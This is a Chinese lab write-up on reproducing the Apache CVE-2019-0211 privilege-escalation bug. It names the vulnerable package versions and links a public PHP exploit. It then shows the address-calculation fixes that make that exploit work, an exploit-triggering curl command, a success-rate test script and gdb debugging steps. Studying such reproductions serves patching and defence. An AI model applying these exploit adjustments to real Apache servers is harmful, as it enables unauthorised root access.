Apache 提权漏洞(CVE-2019-0211)复现

栏目: 服务器 · Apache · 发布时间: 6年前

内容简介:作者:Hcamael@知道创宇404实验室本月Apache被公布了一个提权的漏洞,并且前天在GitHub上公布出了利用脚本,这几天我负责漏洞应急这个漏洞。本篇文章没有叫:《Apache 提权漏洞分析》是因为我觉得

作者:Hcamael@知道创宇404实验室
时间:2019年4月12日

本月Apache被公布了一个提权的漏洞,并且前天在GitHub上公布出了利用脚本,这几天我负责漏洞应急这个漏洞。

本篇文章没有叫:《Apache 提权漏洞分析》是因为我觉得 CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation 这篇文章的分析写的挺好的,所以我没必要再翻译一遍了,本篇文章主要叙述复现该漏洞的过程中踩过的坑。

复现环境

我使用的复现环境是:

<span class="c1"># 系统, 跟系统关系不是很大,主要问题是能不能用包管理器安装对应版本的apache</span>
$ lsb_release -a
Distributor ID: Ubuntu
Description:    Ubuntu <span class="m">18</span>.04.1 LTS
Release:    <span class="m">18</span>.04
Codename:   bionic
<span class="c1"># Apache版本,复现的关键就在该版本</span>
$ apache2 -v
Server version: Apache/2.4.29 <span class="o">(</span>Ubuntu<span class="o">)</span>
Server built:   <span class="m">2018</span>-03-02T02:19:31
<span class="c1"># php版本</span>
$ php -v
PHP <span class="m">7</span>.2.15-0ubuntu0.18.04.2 <span class="o">(</span>cli<span class="o">)</span> <span class="o">(</span>built: Mar <span class="m">22</span> <span class="m">2019</span> <span class="m">17</span>:05:14<span class="o">)</span> <span class="o">(</span> NTS <span class="o">)</span>
Copyright <span class="o">(</span>c<span class="o">)</span> <span class="m">1997</span>-2018 The PHP Group
Zend Engine v3.2.0, Copyright <span class="o">(</span>c<span class="o">)</span> <span class="m">1998</span>-2018 Zend Technologies
    with Zend OPcache v7.2.15-0ubuntu0.18.04.2, Copyright <span class="o">(</span>c<span class="o">)</span> <span class="m">1999</span>-2018, by Zend Technologies
  1. apache使用apt安装的版本属于已经修复的版本,所以需要指定一下版本:  # apt install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4
  2. php直接用apt安装就好了
  3. exp地址:  https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php
  4. 需要开启ssl模块: a2enmod ssl

关于需要开始ssl模块说明:

  1. 就算不开ssl模块,漏洞也是存在的
  2. 就算不开启ssl模块,你自己修改apache配置,能开启其他端口,也是能利用的
  3. 如果只开了80端口,则需要另行找一条利用链,github上公布exp在只开启了一个端口的情况下是无效的
  4. @cfreal的文章中已经说了,我这里在多说句,相关代码可以看看 12 还有 SAFE_ACCPET 的宏定义:
<span class="cm">/* On some architectures it's safe to do unserialized accept()s in the single</span>
<span class="cm"> * Listen case.  But it's never safe to do it in the case where there's</span>
<span class="cm"> * multiple Listen statements.  Define SINGLE_LISTEN_UNSERIALIZED_ACCEPT</span>
<span class="cm"> * when it's safe in the single Listen case.</span>
<span class="cm"> */</span>
<span class="cp">#ifdef SINGLE_LISTEN_UNSERIALIZED_ACCEPT</span>
<span class="cp">#define SAFE_ACCEPT(stmt) (ap_listeners->next ? (stmt) : APR_SUCCESS)</span>
<span class="cp">#else</span>
<span class="cp">#define SAFE_ACCEPT(stmt) (stmt)</span>
<span class="cp">#endif</span>

简单的来说,只有在apache开启多个端口的情况下,才会生成mutex互斥锁,而在github上公布的exp就是通过apache的mutex对象来进行利用的。

跑exp中遇到的一些坑

我试过了很多版本,没有一个版本是能直接使用Github上的exp的,在上述表面的版本中,经过调试研究发现了两个问题导致了利用失败:

$all_buckets = $i - 0x10
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);

第一个计算 all_buckets 的地址,使用gdb进行调试,你会发现,这个值并没有算错,但是在执行 apache2ctl graceful 命令以后, all_buckets 生成了一个新的值,不过只和之前的 all_buckets 地址差 0x38000 ,所以这个问题很好解决:

<span class="x">$all_buckets = $i - 0x10 + 0x38000;</span>

第二个计算没必要这么复杂,而且在我测试的版本中还是算的错误的地址,直接改成:

<span class="x">$bucket_index = $bucket_index_middle;</span>

ubuntu中的一个坑

我的payload是: curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/2323232"

表面上看是执行成功了,但是却并没有在/tmp目录下发现2323232文件,经过随后的研究发现,systemd重定向了apache的tmp目录,执行下 $find /tmp -name "2323232" 就找到文件了,不过只有root用户能访问。如果不想让systemd重定向tmp目录也简单:

$ cat /lib/systemd/system/apache2.service 
<span class="o">[</span>Unit<span class="o">]</span>
<span class="nv">Description</span><span class="o">=</span>The Apache HTTP Server
<span class="nv">After</span><span class="o">=</span>network.target remote-fs.target nss-lookup.target
 
<span class="o">[</span>Service<span class="o">]</span>
<span class="nv">Type</span><span class="o">=</span>forking
<span class="nv">Environment</span><span class="o">=</span><span class="nv">APACHE_STARTED_BY_SYSTEMD</span><span class="o">=</span><span class="nb">true</span>
<span class="nv">ExecStart</span><span class="o">=</span>/usr/sbin/apachectl start
<span class="nv">ExecStop</span><span class="o">=</span>/usr/sbin/apachectl stop
<span class="nv">ExecReload</span><span class="o">=</span>/usr/sbin/apachectl graceful
<span class="nv">PrivateTmp</span><span class="o">=</span><span class="nb">false</span>
<span class="nv">Restart</span><span class="o">=</span>on-abort
 
<span class="o">[</span>Install<span class="o">]</span>
<span class="nv">WantedBy</span><span class="o">=</span>multi-user.target

这项为false就好了, PrivateTmp=false ,改完以后重启一下,再测试一遍就能在tmp目录下写文件了

关于成功率的说法

在exp的注释中看到了说该利用没法100%成功,有失败的概率,所以我写了个脚本进行测试:

root@vultr:~# cat check 
<span class="c1">#!/bin/bash</span>
 
<span class="nv">SUCC</span><span class="o">=</span><span class="m">0</span>
<span class="nv">COUNT</span><span class="o">=</span><span class="m">0</span>
<span class="k">for</span> i in <span class="k">$(</span>seq <span class="m">1</span> <span class="m">20</span><span class="k">)</span>
<span class="k">do</span>
<span class="nb">let</span> <span class="nv">COUNT</span><span class="o">+=</span><span class="m">1</span>
/etc/init.d/apache2 stop
sleep <span class="m">1</span>
/etc/init.d/apache2 start
<span class="k">if</span> <span class="o">[</span> -f <span class="s2">"/tmp/1982347"</span> <span class="o">]</span><span class="p">;</span><span class="k">then</span>
    rm /tmp/1982347
<span class="k">fi</span>
curl <span class="s2">"http://localhost/cfreal-carpediem.php?cmd=id>/tmp/1982347"</span>
 
apache2ctl graceful
 
sleep <span class="m">1</span>
 
<span class="k">if</span> <span class="o">[</span> -f <span class="s2">"/tmp/1982347"</span> <span class="o">]</span><span class="p">;</span><span class="k">then</span>
    <span class="nb">let</span> <span class="nv">SUCC</span><span class="o">+=</span><span class="m">1</span>
<span class="k">fi</span>
 
<span class="k">done</span>
 
<span class="nb">echo</span> <span class="s2">"COUNT: </span><span class="nv">$COUNT</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="s2">"SUCCESS: </span><span class="nv">$SUCC</span><span class="s2">"</span>

我测试的跑了20次的结果:

<span class="c1"># ./check</span>
......
COUNT: <span class="m">20</span>
SUCCESS: <span class="m">20</span>

并没有遇到失败的情况

总结

其他版本的还没有进行测试,但是在这里给一些建议。

  1. check all_buckets地址

    这个挺简单的,执行完exp以后,有输出对应的pid和all_buckets地址,可以使用gdb attach上去检查下该地址是否正确: p all_buckets

    PS:这里要注意下,需要安装dbg包,才有all_buckets符号 : apt install apache2-dbg=2.4.29-1ubuntu4

    如果有问题,就调试检查exp中搜索all_buckets地址的流程

    如果没问题,就使用gdb attach主进程(root权限的那个进程),然后断点下在 make_child ,然后执行 apache2ctl graceful ,执行完然后在gdb的流程跳到make_child函数的时候,再输出一次: p all_buckets ,和exp获取的值对比一下,如果一样就没问题了

  2. check my_bucket地址

    前面的流程和上面一样,重点关注在make_child函数中的my_bucket赋值的代码: 3

    这里注意下,因为上面有一个fork,所以在gdb里还要加一句: set follow-fork-mode child

    my_bucket 的值是一个指针,指向堆喷的地址,如果 my_bucket 的值没问题,exp基本就没问题了,如果不对,就调整 $bucket_index

更新

debian 9测试成功:

<span class="c1"># cat /etc/issue</span>
Debian GNU/Linux <span class="m">9</span> <span class="se">\n</span> <span class="se">\l</span>
<span class="c1"># apache2 -v</span>
Server version: Apache/2.4.25 <span class="o">(</span>Debian<span class="o">)</span>
Server built:   <span class="m">2018</span>-11-03T18:46:19
<span class="c1"># php -v</span>
PHP <span class="m">7</span>.0.33-0+deb9u3 <span class="o">(</span>cli<span class="o">)</span> <span class="o">(</span>built: Mar  <span class="m">8</span> <span class="m">2019</span> <span class="m">10</span>:01:24<span class="o">)</span> <span class="o">(</span> NTS <span class="o">)</span>
Copyright <span class="o">(</span>c<span class="o">)</span> <span class="m">1997</span>-2017 The PHP Group
Zend Engine v3.0.0, Copyright <span class="o">(</span>c<span class="o">)</span> <span class="m">1998</span>-2017 Zend Technologies
    with Zend OPcache v7.0.33-0+deb9u3, Copyright <span class="o">(</span>c<span class="o">)</span> <span class="m">1999</span>-2017, by Zend Technologies

参考

  1. https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L433
  2. https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L1223
  3. https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L691

Apache 提权漏洞(CVE-2019-0211)复现

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: https://paper.seebug.org/889/


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Understanding Machine Learning

Understanding Machine Learning

Shai Shalev-Shwartz、Shai Ben-David / Cambridge University Press / 2014 / USD 48.51

Machine learning is one of the fastest growing areas of computer science, with far-reaching applications. The aim of this textbook is to introduce machine learning, and the algorithmic paradigms it of......一起来看看 《Understanding Machine Learning》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

在线进制转换器
在线进制转换器

各进制数互转换器

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具